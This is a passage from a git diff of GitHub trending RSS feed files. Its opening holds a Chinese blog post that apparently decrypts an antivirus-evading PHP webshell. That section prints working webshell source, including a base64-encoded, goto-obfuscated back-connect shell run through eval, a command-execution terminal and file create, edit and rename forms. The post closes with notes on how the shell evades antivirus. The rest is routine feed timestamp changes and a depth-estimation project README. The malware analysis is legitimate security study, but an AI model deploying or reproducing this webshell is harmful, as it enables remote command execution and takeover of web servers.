JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
$rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
eval($rRwNpSflmI);
echo 'Finished...';
echo '</div>';
}
} else {
if ($hzOvuJeFzz == "cfile") {
?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "cdir") {
?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "term") {
?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php
echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php
} else {
if ($hzOvuJeFzz == 'edit') {
?>
<h5>Edit file</h5>
<span>File name : <?php
echo RxEfbn6Hey($_GET["n"]);
?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'rename') {
?>
<h5>View <?php
echo $_GET["t"] == "d" ? "folder" : "file";
?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php
echo rxeFBn6hEy($_GET["n"]);
?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'view') {
?>
<h5>View file</h5>
<span>File name : <?php
echo rXEfBN6HEy($_GET["n"]);
?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
?></textarea>
</div>
<?php
} else {
}
}
}
}
}
}
}
?>
</div>
<?php
}
}
?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html><?php
</code></pre>
<p>终于将这个免杀的WebShell解密完成了</p>
<h2>4# 总结</h2>
<p>这个WebShell大马,总体来说还行,采用了goto的嵌套加密方式,填充了少许垃圾数据,成功的绕过了杀软的污点跟踪技术(也可能是第二步 <code>curl</code> 加载外部托管的PHP时,在云查杀不联网的环境中无法加载,从而识别为正常文件)</p>
<p>但缺点也很明显:无法应对苛刻条件,因为 <code>curl</code> 加载外部托管的PHP代码,会使得被攻击的服务器产生外联行为,可能会使安全设备告警,同时对于不出网的环境(意味着被攻击的服务器无法访问外部托管的PHP代码)将束手无策</p>
\ No newline at end of file
diff --git a/pic/daily/index.xml b/pic/daily/index.xml
index 3175798e119..d4c28a99132 100644
--- a/pic/daily/index.xml
+++ b/pic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:18Z
+ 2023-12-13T01:40:38Z
Daily Trending of Pic in GitHub
\ No newline at end of file
diff --git a/pickle/daily/index.xml b/pickle/daily/index.xml
index 5b8e096da4b..e32dba5397f 100644
--- a/pickle/daily/index.xml
+++ b/pickle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pickle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:42Z
+ 2023-12-13T01:41:15Z
Daily Trending of Pickle in GitHub
\ No newline at end of file
diff --git a/picolisp/daily/index.xml b/picolisp/daily/index.xml
index c72c29480fd..f7eb6c4c504 100644
--- a/picolisp/daily/index.xml
+++ b/picolisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PicoLisp Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:45Z
+ 2023-12-13T01:41:14Z
Daily Trending of PicoLisp in GitHub
\ No newline at end of file
diff --git a/piglatin/daily/index.xml b/piglatin/daily/index.xml
index b5bd64928d8..0f266e22d6b 100644
--- a/piglatin/daily/index.xml
+++ b/piglatin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PigLatin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:44Z
+ 2023-12-13T01:41:18Z
Daily Trending of PigLatin in GitHub
\ No newline at end of file
diff --git a/pike/daily/index.xml b/pike/daily/index.xml
index 4357d14d83d..3d47dff490a 100644
--- a/pike/daily/index.xml
+++ b/pike/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pike Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:43Z
+ 2023-12-13T01:41:16Z
Daily Trending of Pike in GitHub
\ No newline at end of file
diff --git a/plantuml/daily/index.xml b/plantuml/daily/index.xml
index b5414846a3f..7ab38a9ff56 100644
--- a/plantuml/daily/index.xml
+++ b/plantuml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PlantUML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:47Z
+ 2023-12-13T01:41:23Z
Daily Trending of PlantUML in GitHub
\ No newline at end of file
diff --git a/plpgsql/daily/index.xml b/plpgsql/daily/index.xml
index 7bfac3a57f0..6c9c2214b47 100644
--- a/plpgsql/daily/index.xml
+++ b/plpgsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PLpgSQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:48Z
+ 2023-12-13T01:41:20Z
Daily Trending of PLpgSQL in GitHub
\ No newline at end of file
diff --git a/plsql/daily/index.xml b/plsql/daily/index.xml
index 8dab9c5f34d..755cad9b5c5 100644
--- a/plsql/daily/index.xml
+++ b/plsql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PLSQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:46Z
+ 2023-12-13T01:41:22Z
Daily Trending of PLSQL in GitHub
\ No newline at end of file
diff --git a/pod-6/daily/index.xml b/pod-6/daily/index.xml
index fdc4b013f4a..ad9930c16bd 100644
--- a/pod-6/daily/index.xml
+++ b/pod-6/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pod 6 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:52Z
+ 2023-12-13T01:41:27Z
Daily Trending of Pod 6 in GitHub
\ No newline at end of file
diff --git a/pod/daily/index.xml b/pod/daily/index.xml
index cad22cb0113..d7a1d37b1b5 100644
--- a/pod/daily/index.xml
+++ b/pod/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pod Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:47Z
+ 2023-12-13T01:41:21Z
Daily Trending of Pod in GitHub
\ No newline at end of file
diff --git a/pogoscript/daily/index.xml b/pogoscript/daily/index.xml
index 708437d395c..56dd37ec42b 100644
--- a/pogoscript/daily/index.xml
+++ b/pogoscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PogoScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:50Z
+ 2023-12-13T01:41:25Z
Daily Trending of PogoScript in GitHub
\ No newline at end of file
diff --git a/pony/daily/index.xml b/pony/daily/index.xml
index 24a146f68e5..5af01302db3 100644
--- a/pony/daily/index.xml
+++ b/pony/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pony Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:51Z
+ 2023-12-13T01:41:26Z
Daily Trending of Pony in GitHub
\ No newline at end of file
diff --git a/postcss/daily/index.xml b/postcss/daily/index.xml
index 2af8f4cd391..e71fda987e0 100644
--- a/postcss/daily/index.xml
+++ b/postcss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PostCSS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:53Z
+ 2023-12-13T01:41:31Z
Daily Trending of PostCSS in GitHub
\ No newline at end of file
diff --git a/postscript/daily/index.xml b/postscript/daily/index.xml
index c9cd4f82090..65fd7c68556 100644
--- a/postscript/daily/index.xml
+++ b/postscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PostScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:56Z
+ 2023-12-13T01:41:32Z
Daily Trending of PostScript in GitHub
\ No newline at end of file
diff --git a/pov-ray-sdl/daily/index.xml b/pov-ray-sdl/daily/index.xml
index c9361c08443..8e154db4fa9 100644
--- a/pov-ray-sdl/daily/index.xml
+++ b/pov-ray-sdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub POV-Ray SDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:55Z
+ 2023-12-13T01:41:29Z
Daily Trending of POV-Ray SDL in GitHub
\ No newline at end of file
diff --git a/powerbuilder/daily/index.xml b/powerbuilder/daily/index.xml
index ce86735f127..2efd6145c08 100644
--- a/powerbuilder/daily/index.xml
+++ b/powerbuilder/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PowerBuilder Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:57Z
+ 2023-12-13T01:41:35Z
Daily Trending of PowerBuilder in GitHub
\ No newline at end of file
diff --git a/powershell/daily/index.xml b/powershell/daily/index.xml
index 95320dd091d..14fef03c873 100644
--- a/powershell/daily/index.xml
+++ b/powershell/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PowerShell Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:01Z
+ 2023-12-13T01:41:39Z
Daily Trending of PowerShell in GitHub
\ No newline at end of file
diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml
index 1fd28bd02c7..f58b059766a 100644
--- a/prisma/daily/index.xml
+++ b/prisma/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Prisma Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:58Z
+ 2023-12-13T01:41:34Z
Daily Trending of Prisma in GitHub
\ No newline at end of file
diff --git a/processing/daily/index.xml b/processing/daily/index.xml
index 9913cb7174f..b9e5450786c 100644
--- a/processing/daily/index.xml
+++ b/processing/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Processing Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:58Z
+ 2023-12-13T01:41:33Z
Daily Trending of Processing in GitHub
\ No newline at end of file
diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml
index 3966cb5de47..c245205c4ca 100644
--- a/procfile/daily/index.xml
+++ b/procfile/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Procfile Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:20Z
+ 2023-12-13T01:41:56Z
Daily Trending of Procfile in GitHub
\ No newline at end of file
diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml
index 5628adb3575..3a8127dbc42 100644
--- a/proguard/daily/index.xml
+++ b/proguard/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Proguard Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:18Z
+ 2023-12-13T01:41:54Z
Daily Trending of Proguard in GitHub
\ No newline at end of file
diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml
index 00ae458f8d8..75467ad928f 100644
--- a/prolog/daily/index.xml
+++ b/prolog/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Prolog Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:19Z
+ 2023-12-13T01:41:55Z
Daily Trending of Prolog in GitHub
\ No newline at end of file
diff --git a/promela/daily/index.xml b/promela/daily/index.xml
index e79ce5e9c97..a007216e596 100644
--- a/promela/daily/index.xml
+++ b/promela/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Promela Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:18Z
+ 2023-12-13T01:41:57Z
Daily Trending of Promela in GitHub
\ No newline at end of file
diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml
index 057cd236119..4b1f0a5a14f 100644
--- a/propeller-spin/daily/index.xml
+++ b/propeller-spin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Propeller Spin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:23Z
+ 2023-12-13T01:42:00Z
Daily Trending of Propeller Spin in GitHub
\ No newline at end of file
diff --git a/protocol-buffer-text-format/daily/index.xml b/protocol-buffer-text-format/daily/index.xml
index 9d9c73b5be2..0ed00009626 100644
--- a/protocol-buffer-text-format/daily/index.xml
+++ b/protocol-buffer-text-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Protocol Buffer Text Format Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:22Z
+ 2023-12-13T01:41:59Z
Daily Trending of Protocol Buffer Text Format in GitHub
\ No newline at end of file
diff --git a/protocol-buffer/daily/index.xml b/protocol-buffer/daily/index.xml
index 81818fccc60..9e1ab97d078 100644
--- a/protocol-buffer/daily/index.xml
+++ b/protocol-buffer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Protocol Buffer Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:22Z
+ 2023-12-13T01:41:58Z
Daily Trending of Protocol Buffer in GitHub
\ No newline at end of file
diff --git a/public-key/daily/index.xml b/public-key/daily/index.xml
index dfd57018d6b..a8e9f490566 100644
--- a/public-key/daily/index.xml
+++ b/public-key/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Public Key Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:21Z
+ 2023-12-13T01:42:01Z
Daily Trending of Public Key in GitHub
\ No newline at end of file
diff --git a/pug/daily/index.xml b/pug/daily/index.xml
index 85bfaa2ca55..6e1762e9962 100644
--- a/pug/daily/index.xml
+++ b/pug/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pug Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:25Z
+ 2023-12-13T01:42:03Z
Daily Trending of Pug in GitHub
\ No newline at end of file
diff --git a/puppet/daily/index.xml b/puppet/daily/index.xml
index d650c1a737b..dfbc0336a84 100644
--- a/puppet/daily/index.xml
+++ b/puppet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Puppet Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:25Z
+ 2023-12-13T01:42:04Z
Daily Trending of Puppet in GitHub
\ No newline at end of file
diff --git a/pure-data/daily/index.xml b/pure-data/daily/index.xml
index 2cd20261cd1..2d92dfdc993 100644
--- a/pure-data/daily/index.xml
+++ b/pure-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pure Data Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:26Z
+ 2023-12-13T01:42:04Z
Daily Trending of Pure Data in GitHub
\ No newline at end of file
diff --git a/purebasic/daily/index.xml b/purebasic/daily/index.xml
index 64d0d0ad95c..25c58e05fcc 100644
--- a/purebasic/daily/index.xml
+++ b/purebasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PureBasic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:24Z
+ 2023-12-13T01:42:02Z
Daily Trending of PureBasic in GitHub
\ No newline at end of file
diff --git a/purescript/daily/index.xml b/purescript/daily/index.xml
index b67a55f532f..be484596eb8 100644
--- a/purescript/daily/index.xml
+++ b/purescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PureScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:32Z
+ 2023-12-13T01:42:12Z
Daily Trending of PureScript in GitHub
\ No newline at end of file
diff --git a/python-console/daily/index.xml b/python-console/daily/index.xml
index 8bc1b98e342..5d40b12d2cf 100644
--- a/python-console/daily/index.xml
+++ b/python-console/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Python console Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:27Z
+ 2023-12-13T01:42:06Z
Daily Trending of Python console in GitHub
\ No newline at end of file
diff --git a/python-traceback/daily/index.xml b/python-traceback/daily/index.xml
index 9a4a9b07645..d07547ba13c 100644
--- a/python-traceback/daily/index.xml
+++ b/python-traceback/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Python traceback Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:44Z
+ 2023-12-13T01:42:26Z
Daily Trending of Python traceback in GitHub
\ No newline at end of file
diff --git a/python/daily/index.xml b/python/daily/index.xml
index 8e52c059696..491d6457efd 100644
--- a/python/daily/index.xml
+++ b/python/daily/index.xml
@@ -1,28 +1,28 @@
GitHub Python Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:57:32Z
+ 2023-12-13T01:42:12Z
Daily Trending of Python in GitHub
- zhyever/PatchFusion
- 2023-12-12T01:57:32Z
- tag:github.com,2023-12-12:/zhyever/PatchFusion
-
- <p>An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation</p><hr><div align="center">
<h1>PatchFusion </h1>
<h3>An End-to-End Tile-Based Framework <br> for High-Resolution Monocular Metric Depth Estimation</h3>
<p><a href="https://zhyever.github.io/patchfusion/"><img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/badge-website.svg?sanitize=true" alt="Website"></a> <a href="https://arxiv.org/abs/2312.02284"><img src="https://img.shields.io/badge/arXiv-PDF-b31b1b" alt="Paper"></a> <a href="https://huggingface.co/spaces/zhyever/PatchFusion"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Space-yellow" alt="Hugging Face Space"></a> <a href="https://huggingface.co/zhyever/PatchFusion"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Model-yellow" alt="Hugging Face Model"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-green.svg?sanitize=true" alt="License: MIT"></a></p>
<p><a href="https://zhyever.github.io/">Zhenyu Li</a>, <a href="https://shariqfarooq123.github.io/">Shariq Farooq Bhat</a>, <a href="https://peterwonka.net/">Peter Wonka</a>. <br>KAUST</p>
<center>
<img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/showcase_3.gif">
</center>
<center>
<img src="https://raw.githubusercontent.com/zhyever/PatchFusion/main/examples/showcase_2.gif">
</center>
</div>
<h2><strong>DEMO</strong></h2>
<p>Our official huggingface demo is available <a href="https://huggingface.co/spaces/zhyever/PatchFusion">here</a>! You can have a test with your own high-resolution image, even without a local GPU! It only takes 1min for depth prediction plus controlnet generation!</p>
<p>Thanks for the kind support from <a href="https://github.com/hysts">hysts</a>!</p>
<h2><strong>Environment setup</strong></h2>
<p>The project depends on :</p>
<ul>
<li><a href="https://pytorch.org/">pytorch</a> (Main framework)</li>
<li><a href="https://timm.fast.ai/">timm</a> (Backbone helper for MiDaS)</li>
<li><a href="https://github.com/isl-org/ZoeDepth">ZoeDepth</a> (Main baseline)</li>
<li><a href="https://github.com/lllyasviel/ControlNet">ControlNet</a> (For potential application)</li>
<li>pillow, matplotlib, scipy, h5py, opencv (utilities)</li>
</ul>
<p>Install environment using <code>environment.yml</code> :</p>
<p>Using <a href="https://github.com/mamba-org/mamba">mamba</a> (fastest):</p>
<pre><code class="language-bash">mamba (or micromamba) env create -n patchfusion --file environment.yml
mamba (or micromamba) activate patchfusion
</code></pre>
<p>Using conda :</p>
<pre><code class="language-bash">conda env create -n patchfusion --file environment.yml
conda activate patchfusion
</code></pre>
<h2><strong>Pre-Train Model</strong></h2>
<p>Download our pre-trained model <a href="https://drive.google.com/file/d/13M_qLOVSANDT1ss59Iebzjj3d0ZeVCi4/view?usp=sharing">here</a>, and put this checkpoint at <code>nfs/patchfusion_u4k.pt</code> as preparation for the following steps.</p>
<p>If you want to play the ControlNet demo, please download the pre-trained ControlNet model <a href="https://huggingface.co/lllyasviel/ControlNet/blob/main/models/control_sd15_depth.pth">here</a>, and put this checkpoint at <code>nfs/control_sd15_depth.pth</code>.</p>
<h2><strong>Gradio Demo</strong></h2>
<p>We provide a UI demo built using <a href="https://gradio.app/">gradio</a>. To get started, install UI requirements:</p>
<pre><code class="language-bash">pip install -r ui_requirements.txt
</code></pre>
<p>Launch the gradio UI for depth estimation or image to 3D:</p>
<pre><code class="language-bash">python ./ui_prediction.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json
</code></pre>
<p>Launch the gradio UI for depth-guided image generation with ControlNet:</p>
<pre><code class="language-bash">python ./ui_generative.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json
</code></pre>
<h2><strong>User Inference</strong></h2>
<ol>
<li> <p>Put your images in folder <code>path/to/your/folder</code></p> </li>
<li> <p>Run codes:</p> <pre><code class="language-bash">python ./infer_user.py --model zoedepth_custom --ckp_path nfs/patchfusion_u4k.pt --model_cfg_path ./zoedepth/models/zoedepth_custom/configs/config_zoedepth_patchfusion.json --rgb_dir path/to/your/folder --show --show_path path/to/show --save --save_path path/to/save --mode r128 --boundary 0 --blur_mask
</code></pre> </li>
<li> <p>Check visualization results in <code>path/to/show</code> and depth results in <code>path/to/save</code>, respectively.</p> </li>
</ol>
<p><strong>Args</strong></p>
<ul>
<li>We recommand users to use <code>--blur_mask</code> to reduce patch artifacts, though we didn't use it in our standard evaluation process.</li>
<li><code>--mode</code>: select from p16, p49, and r<strong>n</strong>, where <strong>n</strong> is the number of random added patches.</li>
<li>Please refer to <code>infer_user.py</code> for more details.</li>
</ul>
<h2>Citation</h2>
